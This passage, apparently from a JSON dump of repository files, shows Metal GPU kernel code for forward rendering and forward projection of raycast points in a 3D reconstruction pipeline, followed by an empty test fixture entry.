*pointsRay            [[ buffer(1) ]],\n                                 const CONSTPTR(CreateICPMaps_Params) *params   [[ buffer(2) ]],\n                                 uint2 threadIdx                                [[ thread_position_in_threadgroup ]],\n                                 uint2 blockIdx                                 [[ threadgroup_position_in_grid ]],\n                                 uint2 blockDim                                 [[ threads_per_threadgroup ]])\n{\n    int x = threadIdx.x + blockIdx.x * blockDim.x, y = threadIdx.y + blockIdx.y * blockDim.y;\n    \n    if (x >= params->imgSize.x || y >= params->imgSize.y) return;\n    \n    processPixelForwardRender<false>(outRendering, pointsRay, params->imgSize.xy, x, y, params->voxelSizes.x, TO_VECTOR3(params->lightSource));\n}\n\nkernel void forwardProject_device(DEVICEPTR(Vector4f) *forwardProjection         [[ buffer(0) ]],\n                                  const CONSTPTR(Vector4f) *pointsRay            [[ buffer(1) ]],\n                                  const CONSTPTR(CreateICPMaps_Params) *params   [[ buffer(2) ]],\n                                  uint2 threadIdx                                [[ thread_position_in_threadgroup ]],\n                                  uint2 blockIdx                                 [[ threadgroup_position_in_grid ]],\n                                  uint2 blockDim                                 [[ threads_per_threadgroup ]])\n{\n    int x = (threadIdx.x + blockIdx.x * blockDim.x), y = (threadIdx.y + blockIdx.y * blockDim.y);\n    \n    if (x >= params->imgSize.x || y >= params->imgSize.y) return;\n    \n    int locId = x + y * params->imgSize.x;\n    Vector4f pixel = pointsRay[locId];\n    \n    int locId_new = forwardProjectPixel(pixel * params->voxelSizes.x, params->M, params->projParams, params->imgSize.xy);\n    if (locId_new >= 0) forwardProjection[locId_new] = pixel;\n}"
  },
  {
    "path": "test/fixtures/Data/blank",
    "content": ""
  }
]